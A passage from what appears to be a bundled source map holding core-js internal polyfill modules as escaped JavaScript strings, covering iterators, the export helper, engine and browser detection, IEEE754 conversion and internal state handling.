IterablePrototype[DEFAULT];\n var defaultIterator = !BUGGY_SAFARI_ITERATORS && nativeIterator || getIterationMethod(DEFAULT);\n var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator;\n var CurrentIteratorPrototype, methods, KEY;\n\n // fix native\n if (anyNativeIterator) {\n CurrentIteratorPrototype = getPrototypeOf(anyNativeIterator.call(new Iterable()));\n if (CurrentIteratorPrototype !== Object.prototype && CurrentIteratorPrototype.next) {\n if (!IS_PURE && getPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype) {\n if (setPrototypeOf) {\n setPrototypeOf(CurrentIteratorPrototype, IteratorPrototype);\n } else if (!isCallable(CurrentIteratorPrototype[ITERATOR])) {\n redefine(CurrentIteratorPrototype, ITERATOR, returnThis);\n }\n }\n // Set @@toStringTag to native iterators\n setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true, true);\n if (IS_PURE) Iterators[TO_STRING_TAG] = returnThis;\n }\n }\n\n // fix Array.prototype.{ values, @@iterator }.name in V8 / FF\n if (PROPER_FUNCTION_NAME && DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) {\n if (!IS_PURE && CONFIGURABLE_FUNCTION_NAME) {\n createNonEnumerableProperty(IterablePrototype, 'name', VALUES);\n } else {\n INCORRECT_VALUES_NAME = true;\n defaultIterator = function values() { return call(nativeIterator, this); };\n }\n }\n\n // export additional methods\n if (DEFAULT) {\n methods = {\n values: getIterationMethod(VALUES),\n keys: IS_SET ? defaultIterator : getIterationMethod(KEYS),\n entries: getIterationMethod(ENTRIES)\n };\n if (FORCED) for (KEY in methods) {\n if (BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) {\n redefine(IterablePrototype, KEY, methods[KEY]);\n }\n } else $({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME }, methods);\n }\n\n // define iterator\n if ((!IS_PURE || FORCED) && IterablePrototype[ITERATOR] !== defaultIterator) {\n redefine(IterablePrototype, ITERATOR, defaultIterator, { name: DEFAULT });\n }\n Iterators[NAME] = defaultIterator;\n\n return methods;\n};\n","var path = require('../internals/path');\nvar hasOwn = require('../internals/has-own-property');\nvar wrappedWellKnownSymbolModule = require('../internals/well-known-symbol-wrapped');\nvar defineProperty = require('../internals/object-define-property').f;\n\nmodule.exports = function (NAME) {\n var Symbol = path.Symbol || (path.Symbol = {});\n if (!hasOwn(Symbol, NAME)) defineProperty(Symbol, NAME, {\n value: wrappedWellKnownSymbolModule.f(NAME)\n });\n};\n","var fails = require('../internals/fails');\n\n// Detect IE8's incomplete defineProperty implementation\nmodule.exports = !fails(function () {\n // eslint-disable-next-line es/no-object-defineproperty -- required for testing\n return Object.defineProperty({}, 1, { get: function () { return 7; } })[1] != 7;\n});\n","var global = require('../internals/global');\nvar isObject = require('../internals/is-object');\n\nvar document = global.document;\n// typeof document.createElement is 'object' in old IE\nvar EXISTS = isObject(document) && isObject(document.createElement);\n\nmodule.exports = function (it) {\n return EXISTS ? document.createElement(it) : {};\n};\n","// iterable DOM collections\n// flag - `iterable` interface - 'entries', 'keys', 'values', 'forEach' methods\nmodule.exports = {\n CSSRuleList: 0,\n CSSStyleDeclaration: 0,\n CSSValueList: 0,\n ClientRectList: 0,\n DOMRectList: 0,\n DOMStringList: 0,\n DOMTokenList: 1,\n DataTransferItemList: 0,\n FileList: 0,\n HTMLAllCollection: 0,\n HTMLCollection: 0,\n HTMLFormElement: 0,\n HTMLSelectElement: 0,\n MediaList: 0,\n MimeTypeArray: 0,\n NamedNodeMap: 0,\n NodeList: 1,\n PaintRequestList: 0,\n Plugin: 0,\n PluginArray: 0,\n SVGLengthList: 0,\n SVGNumberList: 0,\n SVGPathSegList: 0,\n SVGPointList: 0,\n SVGStringList: 0,\n SVGTransformList: 0,\n SourceBufferList: 0,\n StyleSheetList: 0,\n TextTrackCueList: 0,\n TextTrackList: 0,\n TouchList: 0\n};\n","// in old WebKit versions, `element.classList` is not an instance of global `DOMTokenList`\nvar documentCreateElement = require('../internals/document-create-element');\n\nvar classList = documentCreateElement('span').classList;\nvar DOMTokenListPrototype = classList && classList.constructor && classList.constructor.prototype;\n\nmodule.exports = DOMTokenListPrototype === Object.prototype ? undefined : DOMTokenListPrototype;\n","var userAgent = require('../internals/engine-user-agent');\n\nvar firefox = userAgent.match(/firefox\\/(\\d+)/i);\n\nmodule.exports = !!firefox && +firefox[1];\n","module.exports = typeof window == 'object';\n","var UA = require('../internals/engine-user-agent');\n\nmodule.exports = /MSIE|Trident/.test(UA);\n","var userAgent = require('../internals/engine-user-agent');\nvar global = require('../internals/global');\n\nmodule.exports = /ipad|iphone|ipod/i.test(userAgent) && global.Pebble !== undefined;\n","var userAgent = require('../internals/engine-user-agent');\n\nmodule.exports = /(?:ipad|iphone|ipod).*applewebkit/i.test(userAgent);\n","var classof = require('../internals/classof-raw');\nvar global = require('../internals/global');\n\nmodule.exports = classof(global.process) == 'process';\n","var userAgent = require('../internals/engine-user-agent');\n\nmodule.exports = /web0s(?!.*chrome)/i.test(userAgent);\n","var getBuiltIn = require('../internals/get-built-in');\n\nmodule.exports = getBuiltIn('navigator', 'userAgent') || '';\n","var global = require('../internals/global');\nvar userAgent = require('../internals/engine-user-agent');\n\nvar process = global.process;\nvar Deno = global.Deno;\nvar versions = process && process.versions || Deno && Deno.version;\nvar v8 = versions && versions.v8;\nvar match, version;\n\nif (v8) {\n match = v8.split('.');\n // in old Chrome, versions of V8 isn't V8 = Chrome / 10\n // but their correct versions are not interesting for us\n version = match[0] > 0 && match[0] < 4 ? 1 : +(match[0] + match[1]);\n}\n\n// BrowserFS NodeJS `process` polyfill incorrectly set `.v8` to `0.0`\n// so check `userAgent` even if `.v8` exists, but 0\nif (!version && userAgent) {\n match = userAgent.match(/Edge\\/(\\d+)/);\n if (!match || match[1] >= 74) {\n match = userAgent.match(/Chrome\\/(\\d+)/);\n if (match) version = +match[1];\n }\n}\n\nmodule.exports = version;\n","var userAgent = require('../internals/engine-user-agent');\n\nvar webkit = userAgent.match(/AppleWebKit\\/(\\d+)\\./);\n\nmodule.exports = !!webkit && +webkit[1];\n","// IE8- don't enum bug keys\nmodule.exports = [\n 'constructor',\n 'hasOwnProperty',\n 'isPrototypeOf',\n 'propertyIsEnumerable',\n 'toLocaleString',\n 'toString',\n 'valueOf'\n];\n","var fails = require('../internals/fails');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\n\nmodule.exports = !fails(function () {\n var error = Error('a');\n if (!('stack' in error)) return true;\n // eslint-disable-next-line es/no-object-defineproperty -- safe\n Object.defineProperty(error, 'stack', createPropertyDescriptor(1, 7));\n return error.stack !== 7;\n});\n","var global = require('../internals/global');\nvar getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar redefine = require('../internals/redefine');\nvar setGlobal = require('../internals/set-global');\nvar copyConstructorProperties = require('../internals/copy-constructor-properties');\nvar isForced = require('../internals/is-forced');\n\n/*\n options.target - name of the target object\n options.global - target is the global object\n options.stat - export as static methods of target\n options.proto - export as prototype methods of target\n options.real - real prototype method for the `pure` version\n options.forced - export even if the native feature is available\n options.bind - bind methods to the target, required for the `pure` version\n options.wrap - wrap constructors to preventing global pollution, required for the `pure` version\n options.unsafe - use the simple assignment of property instead of delete + defineProperty\n options.sham - add a flag to not completely full polyfills\n options.enumerable - export as enumerable property\n options.noTargetGet - prevent calling a getter on target\n options.name - the .name of the function if it does not match the key\n*/\nmodule.exports = function (options, source) {\n var TARGET = options.target;\n var GLOBAL = options.global;\n var STATIC = options.stat;\n var FORCED, target, key, targetProperty, sourceProperty, descriptor;\n if (GLOBAL) {\n target = global;\n } else if (STATIC) {\n target = global[TARGET] || setGlobal(TARGET, {});\n } else {\n target = (global[TARGET] || {}).prototype;\n }\n if (target) for (key in source) {\n sourceProperty = source[key];\n if (options.noTargetGet) {\n descriptor = getOwnPropertyDescriptor(target, key);\n targetProperty = descriptor && descriptor.value;\n } else targetProperty = target[key];\n FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced);\n // contained in target\n if (!FORCED && targetProperty !== undefined) {\n if (typeof sourceProperty == typeof targetProperty) continue;\n copyConstructorProperties(sourceProperty, targetProperty);\n }\n // add a flag to not completely full polyfills\n if (options.sham || (targetProperty && targetProperty.sham)) {\n createNonEnumerableProperty(sourceProperty, 'sham', true);\n }\n // extend global\n redefine(target, key, sourceProperty, options);\n }\n};\n","module.exports = function (exec) {\n try {\n return !!exec();\n } catch (error) {\n return true;\n }\n};\n","'use strict';\n// TODO: Remove from `core-js@4` since it's moved to entry points\nrequire('../modules/es.regexp.exec');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar redefine = require('../internals/redefine');\nvar regexpExec = require('../internals/regexp-exec');\nvar fails = require('../internals/fails');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\n\nvar SPECIES = wellKnownSymbol('species');\nvar RegExpPrototype = RegExp.prototype;\n\nmodule.exports = function (KEY, exec, FORCED, SHAM) {\n var SYMBOL = wellKnownSymbol(KEY);\n\n var DELEGATES_TO_SYMBOL = !fails(function () {\n // String methods call symbol-named RegEp methods\n var O = {};\n O[SYMBOL] = function () { return 7; };\n return ''[KEY](O) != 7;\n });\n\n var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL && !fails(function () {\n // Symbol-named RegExp methods call .exec\n var execCalled = false;\n var re = /a/;\n\n if (KEY === 'split') {\n // We can't use real regex here since it causes deoptimization\n // and serious performance degradation in V8\n // https://github.com/zloirock/core-js/issues/306\n re = {};\n // RegExp[@@split] doesn't call the regex's exec method, but first creates\n // a new one. We need to return the patched regex when creating the new one.\n re.constructor = {};\n re.constructor[SPECIES] = function () { return re; };\n re.flags = '';\n re[SYMBOL] = /./[SYMBOL];\n }\n\n re.exec = function () { execCalled = true; return null; };\n\n re[SYMBOL]('');\n return !execCalled;\n });\n\n if (\n !DELEGATES_TO_SYMBOL ||\n !DELEGATES_TO_EXEC ||\n FORCED\n ) {\n var uncurriedNativeRegExpMethod = uncurryThis(/./[SYMBOL]);\n var methods = exec(SYMBOL, ''[KEY], function (nativeMethod, regexp, str, arg2, forceStringMethod) {\n var uncurriedNativeMethod = uncurryThis(nativeMethod);\n var $exec = regexp.exec;\n if ($exec === regexpExec || $exec === RegExpPrototype.exec) {\n if (DELEGATES_TO_SYMBOL && !forceStringMethod) {\n // The native String method already delegates to @@method (this\n // polyfilled function), leasing to infinite recursion.\n // We avoid it by directly calling the native @@method method.\n return { done: true, value: uncurriedNativeRegExpMethod(regexp, str, arg2) };\n }\n return { done: true, value: uncurriedNativeMethod(str, regexp, arg2) };\n }\n return { done: false };\n });\n\n redefine(String.prototype, KEY, methods[0]);\n redefine(RegExpPrototype, SYMBOL, methods[1]);\n }\n\n if (SHAM) createNonEnumerableProperty(RegExpPrototype[SYMBOL], 'sham', true);\n};\n","var fails = require('../internals/fails');\n\nmodule.exports = !fails(function () {\n // eslint-disable-next-line es/no-object-isextensible, es/no-object-preventextensions -- required for testing\n return Object.isExtensible(Object.preventExtensions({}));\n});\n","var FunctionPrototype = Function.prototype;\nvar apply = FunctionPrototype.apply;\nvar bind = FunctionPrototype.bind;\nvar call = FunctionPrototype.call;\n\n// eslint-disable-next-line es/no-reflect -- safe\nmodule.exports = typeof Reflect == 'object' && Reflect.apply || (bind ? call.bind(apply) : function () {\n return call.apply(apply, arguments);\n});\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar aCallable = require('../internals/a-callable');\n\nvar bind = uncurryThis(uncurryThis.bind);\n\n// optional / simple context binding\nmodule.exports = function (fn, that) {\n aCallable(fn);\n return that === undefined ? fn : bind ? bind(fn, that) : function (/* ...args */) {\n return fn.apply(that, arguments);\n };\n};\n","'use strict';\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar aCallable = require('../internals/a-callable');\nvar isObject = require('../internals/is-object');\nvar hasOwn = require('../internals/has-own-property');\nvar arraySlice = require('../internals/array-slice');\n\nvar Function = global.Function;\nvar concat = uncurryThis([].concat);\nvar join = uncurryThis([].join);\nvar factories = {};\n\nvar construct = function (C, argsLength, args) {\n if (!hasOwn(factories, argsLength)) {\n for (var list = [], i = 0; i < argsLength; i++) list[i] = 'a[' + i + ']';\n factories[argsLength] = Function('C,a', 'return new C(' + join(list, ',') + ')');\n } return factories[argsLength](C, args);\n};\n\n// `Function.prototype.bind` method implementation\n// https://tc39.es/ecma262/#sec-function.prototype.bind\nmodule.exports = Function.bind || function bind(that /* , ...args */) {\n var F = aCallable(this);\n var Prototype = F.prototype;\n var partArgs = arraySlice(arguments, 1);\n var boundFunction = function bound(/* args... */) {\n var args = concat(partArgs, arraySlice(arguments));\n return this instanceof boundFunction ? construct(F, args.length, args) : F.apply(that, args);\n };\n if (isObject(Prototype)) boundFunction.prototype = Prototype;\n return boundFunction;\n};\n","var call = Function.prototype.call;\n\nmodule.exports = call.bind ? call.bind(call) : function () {\n return call.apply(call, arguments);\n};\n","var DESCRIPTORS = require('../internals/descriptors');\nvar hasOwn = require('../internals/has-own-property');\n\nvar FunctionPrototype = Function.prototype;\n// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe\nvar getDescriptor = DESCRIPTORS && Object.getOwnPropertyDescriptor;\n\nvar EXISTS = hasOwn(FunctionPrototype, 'name');\n// additional protection from minified / mangled / dropped function names\nvar PROPER = EXISTS && (function something() { /* empty */ }).name === 'something';\nvar CONFIGURABLE = EXISTS && (!DESCRIPTORS || (DESCRIPTORS && getDescriptor(FunctionPrototype, 'name').configurable));\n\nmodule.exports = {\n EXISTS: EXISTS,\n PROPER: PROPER,\n CONFIGURABLE: CONFIGURABLE\n};\n","var FunctionPrototype = Function.prototype;\nvar bind = FunctionPrototype.bind;\nvar call = FunctionPrototype.call;\nvar callBind = bind && bind.bind(call);\n\nmodule.exports = bind ? function (fn) {\n return fn && callBind(call, fn);\n} : function (fn) {\n return fn && function () {\n return call.apply(fn, arguments);\n };\n};\n","var global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\n\nvar aFunction = function (argument) {\n return isCallable(argument) ? argument : undefined;\n};\n\nmodule.exports = function (namespace, method) {\n return arguments.length < 2 ? aFunction(global[namespace]) : global[namespace] && global[namespace][method];\n};\n","var classof = require('../internals/classof');\nvar getMethod = require('../internals/get-method');\nvar Iterators = require('../internals/iterators');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar ITERATOR = wellKnownSymbol('iterator');\n\nmodule.exports = function (it) {\n if (it != undefined) return getMethod(it, ITERATOR)\n || getMethod(it, '@@iterator')\n || Iterators[classof(it)];\n};\n","var global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar aCallable = require('../internals/a-callable');\nvar anObject = require('../internals/an-object');\nvar tryToString = require('../internals/try-to-string');\nvar getIteratorMethod = require('../internals/get-iterator-method');\n\nvar TypeError = global.TypeError;\n\nmodule.exports = function (argument, usingIterator) {\n var iteratorMethod = arguments.length < 2 ? getIteratorMethod(argument) : usingIterator;\n if (aCallable(iteratorMethod)) return anObject(call(iteratorMethod, argument));\n throw TypeError(tryToString(argument) + ' is not iterable');\n};\n","var aCallable = require('../internals/a-callable');\n\n// `GetMethod` abstract operation\n// https://tc39.es/ecma262/#sec-getmethod\nmodule.exports = function (V, P) {\n var func = V[P];\n return func == null ? undefined : aCallable(func);\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar toObject = require('../internals/to-object');\n\nvar floor = Math.floor;\nvar charAt = uncurryThis(''.charAt);\nvar replace = uncurryThis(''.replace);\nvar stringSlice = uncurryThis(''.slice);\nvar SUBSTITUTION_SYMBOLS = /\\$([$&'`]|\\d{1,2}|<[^>]*>)/g;\nvar SUBSTITUTION_SYMBOLS_NO_NAMED = /\\$([$&'`]|\\d{1,2})/g;\n\n// `GetSubstitution` abstract operation\n// https://tc39.es/ecma262/#sec-getsubstitution\nmodule.exports = function (matched, str, position, captures, namedCaptures, replacement) {\n var tailPos = position + matched.length;\n var m = captures.length;\n var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED;\n if (namedCaptures !== undefined) {\n namedCaptures = toObject(namedCaptures);\n symbols = SUBSTITUTION_SYMBOLS;\n }\n return replace(replacement, symbols, function (match, ch) {\n var capture;\n switch (charAt(ch, 0)) {\n case '$': return '$';\n case '&': return matched;\n case '`': return stringSlice(str, 0, position);\n case \"'\": return stringSlice(str, tailPos);\n case '<':\n capture = namedCaptures[stringSlice(ch, 1, -1)];\n break;\n default: // \\d\\d?\n var n = +ch;\n if (n === 0) return match;\n if (n > m) {\n var f = floor(n / 10);\n if (f === 0) return match;\n if (f <= m) return captures[f - 1] === undefined ? charAt(ch, 1) : captures[f - 1] + charAt(ch, 1);\n return match;\n }\n capture = captures[n - 1];\n }\n return capture === undefined ? '' : capture;\n });\n};\n","var check = function (it) {\n return it && it.Math == Math && it;\n};\n\n// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028\nmodule.exports =\n // eslint-disable-next-line es/no-global-this -- safe\n check(typeof globalThis == 'object' && globalThis) ||\n check(typeof window == 'object' && window) ||\n // eslint-disable-next-line no-restricted-globals -- safe\n check(typeof self == 'object' && self) ||\n check(typeof global == 'object' && global) ||\n // eslint-disable-next-line no-new-func -- fallback\n (function () { return this; })() || Function('return this')();\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar toObject = require('../internals/to-object');\n\nvar hasOwnProperty = uncurryThis({}.hasOwnProperty);\n\n// `HasOwnProperty` abstract operation\n// https://tc39.es/ecma262/#sec-hasownproperty\nmodule.exports = Object.hasOwn || function hasOwn(it, key) {\n return hasOwnProperty(toObject(it), key);\n};\n","module.exports = {};\n","var global = require('../internals/global');\n\nmodule.exports = function (a, b) {\n var console = global.console;\n if (console && console.error) {\n arguments.length == 1 ? console.error(a) : console.error(a, b);\n }\n};\n","var getBuiltIn = require('../internals/get-built-in');\n\nmodule.exports = getBuiltIn('document', 'documentElement');\n","var DESCRIPTORS = require('../internals/descriptors');\nvar fails = require('../internals/fails');\nvar createElement = require('../internals/document-create-element');\n\n// Thank's IE8 for his funny defineProperty\nmodule.exports = !DESCRIPTORS && !fails(function () {\n // eslint-disable-next-line es/no-object-defineproperty -- requied for testing\n return Object.defineProperty(createElement('div'), 'a', {\n get: function () { return 7; }\n }).a != 7;\n});\n","// IEEE754 conversions based on https://github.com/feross/ieee754\nvar global = require('../internals/global');\n\nvar Array = global.Array;\nvar abs = Math.abs;\nvar pow = Math.pow;\nvar floor = Math.floor;\nvar log = Math.log;\nvar LN2 = Math.LN2;\n\nvar pack = function (number, mantissaLength, bytes) {\n var buffer = Array(bytes);\n var exponentLength = bytes * 8 - mantissaLength - 1;\n var eMax = (1 << exponentLength) - 1;\n var eBias = eMax >> 1;\n var rt = mantissaLength === 23 ? pow(2, -24) - pow(2, -77) : 0;\n var sign = number < 0 || number === 0 && 1 / number < 0 ? 1 : 0;\n var index = 0;\n var exponent, mantissa, c;\n number = abs(number);\n // eslint-disable-next-line no-self-compare -- NaN check\n if (number != number || number === Infinity) {\n // eslint-disable-next-line no-self-compare -- NaN check\n mantissa = number != number ? 1 : 0;\n exponent = eMax;\n } else {\n exponent = floor(log(number) / LN2);\n if (number * (c = pow(2, -exponent)) < 1) {\n exponent--;\n c *= 2;\n }\n if (exponent + eBias >= 1) {\n number += rt / c;\n } else {\n number += rt * pow(2, 1 - eBias);\n }\n if (number * c >= 2) {\n exponent++;\n c /= 2;\n }\n if (exponent + eBias >= eMax) {\n mantissa = 0;\n exponent = eMax;\n } else if (exponent + eBias >= 1) {\n mantissa = (number * c - 1) * pow(2, mantissaLength);\n exponent = exponent + eBias;\n } else {\n mantissa = number * pow(2, eBias - 1) * pow(2, mantissaLength);\n exponent = 0;\n }\n }\n for (; mantissaLength >= 8; buffer[index++] = mantissa & 255, mantissa /= 256, mantissaLength -= 8);\n exponent = exponent << mantissaLength | mantissa;\n exponentLength += mantissaLength;\n for (; exponentLength > 0; buffer[index++] = exponent & 255, exponent /= 256, exponentLength -= 8);\n buffer[--index] |= sign * 128;\n return buffer;\n};\n\nvar unpack = function (buffer, mantissaLength) {\n var bytes = buffer.length;\n var exponentLength = bytes * 8 - mantissaLength - 1;\n var eMax = (1 << exponentLength) - 1;\n var eBias = eMax >> 1;\n var nBits = exponentLength - 7;\n var index = bytes - 1;\n var sign = buffer[index--];\n var exponent = sign & 127;\n var mantissa;\n sign >>= 7;\n for (; nBits > 0; exponent = exponent * 256 + buffer[index], index--, nBits -= 8);\n mantissa = exponent & (1 << -nBits) - 1;\n exponent >>= -nBits;\n nBits += mantissaLength;\n for (; nBits > 0; mantissa = mantissa * 256 + buffer[index], index--, nBits -= 8);\n if (exponent === 0) {\n exponent = 1 - eBias;\n } else if (exponent === eMax) {\n return mantissa ? NaN : sign ? -Infinity : Infinity;\n } else {\n mantissa = mantissa + pow(2, mantissaLength);\n exponent = exponent - eBias;\n } return (sign ? -1 : 1) * mantissa * pow(2, exponent - mantissaLength);\n};\n\nmodule.exports = {\n pack: pack,\n unpack: unpack\n};\n","var global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar fails = require('../internals/fails');\nvar classof = require('../internals/classof-raw');\n\nvar Object = global.Object;\nvar split = uncurryThis(''.split);\n\n// fallback for non-array-like ES3 and non-enumerable old V8 strings\nmodule.exports = fails(function () {\n // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346\n // eslint-disable-next-line no-prototype-builtins -- safe\n return !Object('z').propertyIsEnumerable(0);\n}) ? function (it) {\n return classof(it) == 'String' ? split(it, '') : Object(it);\n} : Object;\n","var isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\n\n// makes subclassing work correct for wrapped built-ins\nmodule.exports = function ($this, dummy, Wrapper) {\n var NewTarget, NewTargetPrototype;\n if (\n // it can work only with native `setPrototypeOf`\n setPrototypeOf &&\n // we haven't completely correct pre-ES6 way for getting `new.target`, so use this\n isCallable(NewTarget = dummy.constructor) &&\n NewTarget !== Wrapper &&\n isObject(NewTargetPrototype = NewTarget.prototype) &&\n NewTargetPrototype !== Wrapper.prototype\n ) setPrototypeOf($this, NewTargetPrototype);\n return $this;\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar isCallable = require('../internals/is-callable');\nvar store = require('../internals/shared-store');\n\nvar functionToString = uncurryThis(Function.toString);\n\n// this helper broken in `core-js@3.4.1-3.4.4`, so we can't use `shared` helper\nif (!isCallable(store.inspectSource)) {\n store.inspectSource = function (it) {\n return functionToString(it);\n };\n}\n\nmodule.exports = store.inspectSource;\n","var isObject = require('../internals/is-object');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\n\n// `InstallErrorCause` abstract operation\n// https://tc39.es/proposal-error-cause/#sec-errorobjects-install-error-cause\nmodule.exports = function (O, options) {\n if (isObject(options) && 'cause' in options) {\n createNonEnumerableProperty(O, 'cause', options.cause);\n }\n};\n","var $ = require('../internals/export');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar hiddenKeys = require('../internals/hidden-keys');\nvar isObject = require('../internals/is-object');\nvar hasOwn = require('../internals/has-own-property');\nvar defineProperty = require('../internals/object-define-property').f;\nvar getOwnPropertyNamesModule = require('../internals/object-get-own-property-names');\nvar getOwnPropertyNamesExternalModule = require('../internals/object-get-own-property-names-external');\nvar uid = require('../internals/uid');\nvar FREEZING = require('../internals/freezing');\n\nvar REQUIRED = false;\nvar METADATA = uid('meta');\nvar id = 0;\n\n// eslint-disable-next-line es/no-object-isextensible -- safe\nvar isExtensible = Object.isExtensible || function () {\n return true;\n};\n\nvar setMetadata = function (it) {\n defineProperty(it, METADATA, { value: {\n objectID: 'O' + id++, // object ID\n weakData: {} // weak collections IDs\n } });\n};\n\nvar fastKey = function (it, create) {\n // return a primitive with prefix\n if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;\n if (!hasOwn(it, METADATA)) {\n // can't set metadata to uncaught frozen object\n if (!isExtensible(it)) return 'F';\n // not necessary to add metadata\n if (!create) return 'E';\n // add missing metadata\n setMetadata(it);\n // return object ID\n } return it[METADATA].objectID;\n};\n\nvar getWeakData = function (it, create) {\n if (!hasOwn(it, METADATA)) {\n // can't set metadata to uncaught frozen object\n if (!isExtensible(it)) return true;\n // not necessary to add metadata\n if (!create) return false;\n // add missing metadata\n setMetadata(it);\n // return the store of weak collections IDs\n } return it[METADATA].weakData;\n};\n\n// add metadata on freeze-family methods calling\nvar onFreeze = function (it) {\n if (FREEZING && REQUIRED && isExtensible(it) && !hasOwn(it, METADATA)) setMetadata(it);\n return it;\n};\n\nvar enable = function () {\n meta.enable = function () { /* empty */ };\n REQUIRED = true;\n var getOwnPropertyNames = getOwnPropertyNamesModule.f;\n var splice = uncurryThis([].splice);\n var test = {};\n test[METADATA] = 1;\n\n // prevent exposing of metadata key\n if (getOwnPropertyNames(test).length) {\n getOwnPropertyNamesModule.f = function (it) {\n var result = getOwnPropertyNames(it);\n for (var i = 0, length = result.length; i < length; i++) {\n if (result[i] === METADATA) {\n splice(result, i, 1);\n break;\n }\n } return result;\n };\n\n $({ target: 'Object', stat: true, forced: true }, {\n getOwnPropertyNames: getOwnPropertyNamesExternalModule.f\n });\n }\n};\n\nvar meta = module.exports = {\n enable: enable,\n fastKey: fastKey,\n getWeakData: getWeakData,\n onFreeze: onFreeze\n};\n\nhiddenKeys[METADATA] = true;\n","var NATIVE_WEAK_MAP = require('../internals/native-weak-map');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar isObject = require('../internals/is-object');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar hasOwn = require('../internals/has-own-property');\nvar shared = require('../internals/shared-store');\nvar sharedKey = require('../internals/shared-key');\nvar hiddenKeys = require('../internals/hidden-keys');\n\nvar OBJECT_ALREADY_INITIALIZED = 'Object already initialized';\nvar TypeError = global.TypeError;\nvar WeakMap = global.WeakMap;\nvar set, get, has;\n\nvar enforce = function (it) {\n return has(it) ? get(it) : set(it, {});\n};\n\nvar getterFor = function (TYPE) {\n return function (it) {\n var state;\n if (!isObject(it) || (state = get(it)).type !== TYPE) {\n throw TypeError('Incompatible receiver, ' + TYPE + ' required');\n } return state;\n };\n};\n\nif (NATIVE_WEAK_MAP || shared.state) {\n var store = shared.state || (shared.state = new WeakMap());\n var wmget = uncurryThis(store.get);\n var wmhas = uncurryThis(store.has);\n var wmset = uncurryThis(store.set);\n set = function (it, metadata) {\n if (wmhas(store, it)) throw new TypeError(OBJECT_ALREADY_INITIALIZED);\n metadata.facade = it;\n wmset(store, it, metadata);\n return metadata;\n };\n get = function (it) {\n return wmget(store, it) || {};\n };\n has = function (it) {\n return wmhas(store, it);\n };\n} else {\n var STATE = sharedKey('state');\n hiddenKeys[STATE] = true;\n set = function (it, metadata) {\n if (hasOwn(it, STATE)) throw new TypeError(OBJECT_ALREADY_INITIALIZED);\n metadata.facade = it;\n createNonEnumerableProperty(it, STATE, metadata);\n return metadata;\n };\n get = function (it) {\n return hasOwn(it, STATE) ? it[STATE] : {};\n };\n has = function (it) {\n return hasOwn(it, STATE);\n };\n}\n\nmodule.exports = {\n set: set,\n get: get,\n has: has,\n enforce: enforce,\n getterFor: getterFor\n};\n","var wellKnownSymbol = require('../internals/well-known-symbol');\nvar Iterators = require('../internals/iterators');\n\nvar ITERATOR = wellKnownSymbol('iterator');\nvar ArrayPrototype = Array.prototype;\n\n// check on default Array iterator\nmodule.exports = function (it) {\n return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it);\n};\n","var classof = require('../internals/classof-raw');\n\n// `IsArray` abstract operation\n// https://tc39.es/ecma262/#sec-isarray\n// eslint-disable-next-line es/no-array-isarray -- safe\nmodule.exports = Array.isArray || function isArray(argument) {\n return classof(argument) == 'Array';\n};\n","// `IsCallable` abstract operation\n// https://tc39.es/ecma262/#sec-iscallable\nmodule.exports = function (argument) {\n return typeof argument == 'function';\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar fails = require('../internals/fails');\nvar isCallable = require('../internals/is-callable');\nvar classof = require('../internals/classof');\nvar getBuiltIn = require('../internals/get-built-in');\nvar inspectSource = require('../internals/inspect-source');\n\nvar noop = function () { /* empty */ };\nvar empty = [];\nvar construct = getBuiltIn('Reflect', 'construct');\nvar constructorRegExp = /^\\s*(?:class|function)\\b/;\nvar exec = uncurryThis(constructorRegExp.exec);\nvar INCORRECT_TO_STRING = !constructorRegExp.exec(noop);\n\nvar isConstructorModern = function (argument) {\n if (!isCallable(argument)) return false;\n try {\n construct(noop, empty, argument);\n return true;\n } catch (error) {\n return false;\n }\n};\n\nvar isConstructorLegacy = function (argument) {\n if (!isCallable(argument)) return false;\n switch (classof(argument)) {\n case 'AsyncFunction':\n case 'GeneratorFunction':\n case 'AsyncGeneratorFunction': return false;\n // we can't check .prototype since constructors produced by .bind haven't it\n } return INCORRECT_TO_STRING || !!exec(constructorRegExp, inspectSource(argument));\n};\n\n// `IsConstructor` abstract operation\n// https://tc39.es/ecma262/#sec-isconstructor\nmodule.exports = !construct || fails(function () {\n var called;\n return isConstructorModern(isConstructorModern.call)\n || !isConstructorModern(Object)\n || !isConstructorModern(function () { called = true; })\n || called;\n}) ? isConstructorLegacy : isConstructorModern;\n","var fails = require('../internals/fails');\nvar isCallable = require('../internals/is-callable');\n\nvar replacement = 